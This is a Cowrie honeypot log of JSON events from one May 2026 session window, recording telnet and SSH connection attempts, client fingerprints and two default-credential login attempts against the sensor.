{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53702,"dst_ip":"10.17.0.5","dst_port":23,"session":"e48ee2e7b4e7","protocol":"telnet","message":"New connection: 45.10.154.244:53702 (10.17.0.5:23) [session: e48ee2e7b4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:35.957649Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":54158,"dst_ip":"10.17.0.5","dst_port":23,"session":"f76faa578df5","protocol":"telnet","message":"New connection: 45.10.154.244:54158 (10.17.0.5:23) [session: f76faa578df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:36.096301Z"}
{"eventid":"cowrie.session.closed","duration":30.719622373580933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:36.105298Z","src_ip":"45.10.154.244","session":"60768818aec2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53076,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba0e134f704","protocol":"telnet","message":"New connection: 45.10.154.244:53076 (10.17.0.5:23) [session: 9ba0e134f704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:36.800099Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":57312,"dst_ip":"10.17.0.5","dst_port":23,"session":"7976df1ffb18","protocol":"telnet","message":"New connection: 45.10.154.244:57312 (10.17.0.5:23) [session: 7976df1ffb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:36.892929Z"}
{"eventid":"cowrie.session.closed","duration":31.09952974319458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:37.048728Z","src_ip":"45.10.154.244","session":"2910f3106717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37282,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fc0fde9d052","protocol":"telnet","message":"New connection: 51.161.172.108:37282 (159.203.135.109:23) [session: 9fc0fde9d052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:37.270189Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":53758,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee6c6394d3f8","protocol":"telnet","message":"New connection: 34.69.118.1:53758 (159.203.135.109:23) [session: ee6c6394d3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:37.385148Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37298,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ddabbe849a2","protocol":"telnet","message":"New connection: 51.161.172.108:37298 (159.203.135.109:23) [session: 5ddabbe849a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:38.058362Z"}
{"eventid":"cowrie.session.closed","duration":30.56778383255005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:38.089879Z","src_ip":"45.10.154.244","session":"1e640b8cad94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37310,"dst_ip":"159.203.135.109","dst_port":23,"session":"84f4a9fc28d3","protocol":"telnet","message":"New connection: 51.161.172.108:37310 (159.203.135.109:23) [session: 84f4a9fc28d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:38.280307Z"}
{"eventid":"cowrie.session.closed","duration":30.553990364074707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:39.068661Z","src_ip":"45.10.154.244","session":"aa78de578de3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888339042663574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:39.079916Z","src_ip":"45.10.154.244","session":"56be44f6a0ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656507968902588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:39.126854Z","src_ip":"45.10.154.244","session":"c5735a054249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37566,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea4487cfa08e","protocol":"telnet","message":"New connection: 51.161.172.108:37566 (159.203.135.109:23) [session: ea4487cfa08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:39.705397Z"}
{"eventid":"cowrie.session.closed","duration":30.56525230407715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:40.063054Z","src_ip":"45.10.154.244","session":"77f7bb02a9bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43550,"dst_ip":"10.17.0.5","dst_port":23,"session":"860c9b830b41","protocol":"telnet","message":"New connection: 45.10.154.244:43550 (10.17.0.5:23) [session: 860c9b830b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:40.625049Z"}
{"eventid":"cowrie.session.closed","duration":31.825531244277954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:40.914268Z","src_ip":"45.10.154.244","session":"bb849c7e3097","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45120,"dst_ip":"10.17.0.5","dst_port":23,"session":"57658ac9a1e4","protocol":"telnet","message":"New connection: 45.10.154.244:45120 (10.17.0.5:23) [session: 57658ac9a1e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:41.065338Z"}
{"eventid":"cowrie.session.closed","duration":30.605180263519287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:41.114175Z","src_ip":"45.10.154.244","session":"b743b33fb30a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45730,"dst_ip":"10.17.0.5","dst_port":23,"session":"e820632a6401","protocol":"telnet","message":"New connection: 45.10.154.244:45730 (10.17.0.5:23) [session: e820632a6401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:41.226448Z"}
{"eventid":"cowrie.session.closed","duration":31.317447423934937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:41.436357Z","src_ip":"45.10.154.244","session":"23d7e960ab38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37578,"dst_ip":"159.203.135.109","dst_port":23,"session":"b008ff75f463","protocol":"telnet","message":"New connection: 51.161.172.108:37578 (159.203.135.109:23) [session: b008ff75f463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:41.762732Z"}
{"eventid":"cowrie.session.closed","duration":30.39108180999756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:42.071923Z","src_ip":"45.10.154.244","session":"ca1aef478df5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":59552,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6cd7a6fdbb0","protocol":"telnet","message":"New connection: 167.99.38.72:59552 (159.203.135.109:23) [session: f6cd7a6fdbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:42.097130Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37582,"dst_ip":"159.203.135.109","dst_port":23,"session":"f24bb2c2fac3","protocol":"telnet","message":"New connection: 51.161.172.108:37582 (159.203.135.109:23) [session: f24bb2c2fac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:42.365392Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51114,"dst_ip":"10.17.0.5","dst_port":23,"session":"7776e77b6ac6","protocol":"telnet","message":"New connection: 45.10.154.244:51114 (10.17.0.5:23) [session: 7776e77b6ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:42.645771Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37588,"dst_ip":"159.203.135.109","dst_port":23,"session":"35e81c538668","protocol":"telnet","message":"New connection: 51.161.172.108:37588 (159.203.135.109:23) [session: 35e81c538668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:42.795657Z"}
{"eventid":"cowrie.session.closed","duration":31.35160756111145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:42.932058Z","src_ip":"45.10.154.244","session":"3d70d8c64c58","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:43.275605Z","src_ip":"122.168.114.167","session":"b50a1fec1515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":39026,"dst_ip":"10.17.0.5","dst_port":22,"session":"e70070bdeaeb","protocol":"ssh","message":"New connection: 160.251.101.169:39026 (10.17.0.5:22) [session: e70070bdeaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:43.492487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:43.496773Z","src_ip":"160.251.101.169","session":"e70070bdeaeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37598,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba351393771f","protocol":"telnet","message":"New connection: 51.161.172.108:37598 (159.203.135.109:23) [session: ba351393771f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:43.499697Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:43.663014Z","src_ip":"160.251.101.169","session":"e70070bdeaeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.181","src_port":40881,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4a07360c3fc","protocol":"ssh","message":"New connection: 45.79.207.181:40881 (159.203.135.109:22) [session: e4a07360c3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:43.695783Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37606,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4cece606452","protocol":"telnet","message":"New connection: 51.161.172.108:37606 (159.203.135.109:23) [session: e4cece606452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:43.722122Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37640,"dst_ip":"159.203.135.109","dst_port":22,"session":"0760079509c7","protocol":"ssh","message":"New connection: 122.168.114.167:37640 (159.203.135.109:22) [session: 0760079509c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:43.839771Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe321","message":"login attempt [ubuntu/qwe321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:44.347480Z","src_ip":"160.251.101.169","session":"e70070bdeaeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.927977561950684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:45.002134Z","src_ip":"34.69.118.1","session":"a21d110090ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:45.060017Z","src_ip":"45.79.207.181","session":"e4a07360c3fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.362144470214844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:45.137182Z","src_ip":"45.10.154.244","session":"7eeafb0abff9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:45.511924Z","src_ip":"160.251.101.169","session":"e70070bdeaeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37620,"dst_ip":"159.203.135.109","dst_port":23,"session":"261f62c75140","protocol":"telnet","message":"New connection: 51.161.172.108:37620 (159.203.135.109:23) [session: 261f62c75140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:46.058169Z"}
{"eventid":"cowrie.session.closed","duration":30.161438465118408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:46.068484Z","src_ip":"45.10.154.244","session":"097b1514e294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37636,"dst_ip":"159.203.135.109","dst_port":23,"session":"24d99f7f9e05","protocol":"telnet","message":"New connection: 51.161.172.108:37636 (159.203.135.109:23) [session: 24d99f7f9e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:46.270555Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37646,"dst_ip":"159.203.135.109","dst_port":23,"session":"dba3729de4b5","protocol":"telnet","message":"New connection: 51.161.172.108:37646 (159.203.135.109:23) [session: dba3729de4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:46.488197Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":39014,"dst_ip":"10.17.0.5","dst_port":23,"session":"6298f6485755","protocol":"telnet","message":"New connection: 45.10.154.244:39014 (10.17.0.5:23) [session: 6298f6485755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:46.824267Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37650,"dst_ip":"159.203.135.109","dst_port":23,"session":"22148ffc8269","protocol":"telnet","message":"New connection: 51.161.172.108:37650 (159.203.135.109:23) [session: 22148ffc8269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:46.890496Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37652,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd723adcef98","protocol":"telnet","message":"New connection: 51.161.172.108:37652 (159.203.135.109:23) [session: cd723adcef98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:46.918247Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43064,"dst_ip":"10.17.0.5","dst_port":23,"session":"00325f24bb41","protocol":"telnet","message":"New connection: 45.10.154.244:43064 (10.17.0.5:23) [session: 00325f24bb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:47.832372Z"}
{"eventid":"cowrie.session.closed","duration":30.42110800743103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:48.056954Z","src_ip":"45.10.154.244","session":"48d20a3a5713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759215354919434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:48.240326Z","src_ip":"45.10.154.244","session":"1430028bdc6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37660,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e24493fa67a","protocol":"telnet","message":"New connection: 51.161.172.108:37660 (159.203.135.109:23) [session: 1e24493fa67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:48.272918Z"}
{"eventid":"cowrie.session.closed","duration":30.360010623931885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:48.287959Z","src_ip":"45.10.154.244","session":"746e395dc0a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151843547821045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:48.338059Z","src_ip":"45.10.154.244","session":"ab4a0bc1f14d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":46566,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c2bc9b8a5b6","protocol":"telnet","message":"New connection: 45.10.154.244:46566 (10.17.0.5:23) [session: 7c2bc9b8a5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:48.733050Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37664,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd1f6132096d","protocol":"telnet","message":"New connection: 51.161.172.108:37664 (159.203.135.109:23) [session: cd1f6132096d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:48.974488Z"}
{"eventid":"cowrie.session.closed","duration":30.247557401657104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:49.079638Z","src_ip":"45.10.154.244","session":"9c3a193255b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773076057434082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:49.132916Z","src_ip":"45.10.154.244","session":"a68d62c348b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37668,"dst_ip":"159.203.135.109","dst_port":23,"session":"07bd78dd1689","protocol":"telnet","message":"New connection: 51.161.172.108:37668 (159.203.135.109:23) [session: 07bd78dd1689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:49.145502Z"}
{"eventid":"cowrie.session.closed","duration":31.36972665786743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:49.369731Z","src_ip":"51.161.172.108","session":"5000d5de5a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41442,"dst_ip":"159.203.135.109","dst_port":23,"session":"c333c09b6dd9","protocol":"telnet","message":"New connection: 51.161.172.108:41442 (159.203.135.109:23) [session: c333c09b6dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:49.836046Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41454,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb01ec2c542d","protocol":"telnet","message":"New connection: 51.161.172.108:41454 (159.203.135.109:23) [session: bb01ec2c542d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:49.986193Z"}
{"eventid":"cowrie.session.closed","duration":30.62802004814148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:50.059229Z","src_ip":"45.10.154.244","session":"fba7fc81921c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028247833251953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:50.108741Z","src_ip":"45.10.154.244","session":"2c3f316a6b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41456,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8130b64550a","protocol":"telnet","message":"New connection: 51.161.172.108:41456 (159.203.135.109:23) [session: c8130b64550a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:50.114061Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53572,"dst_ip":"10.17.0.5","dst_port":23,"session":"d461d0230b6c","protocol":"telnet","message":"New connection: 45.10.154.244:53572 (10.17.0.5:23) [session: d461d0230b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:50.525695Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41472,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1edf5761db6","protocol":"telnet","message":"New connection: 51.161.172.108:41472 (159.203.135.109:23) [session: a1edf5761db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:50.570484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:50.695362Z","src_ip":"122.168.114.167","session":"0760079509c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:50.698661Z","src_ip":"122.168.114.167","session":"0760079509c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41488,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c8f44b639d4","protocol":"telnet","message":"New connection: 51.161.172.108:41488 (159.203.135.109:23) [session: 6c8f44b639d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:51.735514Z"}
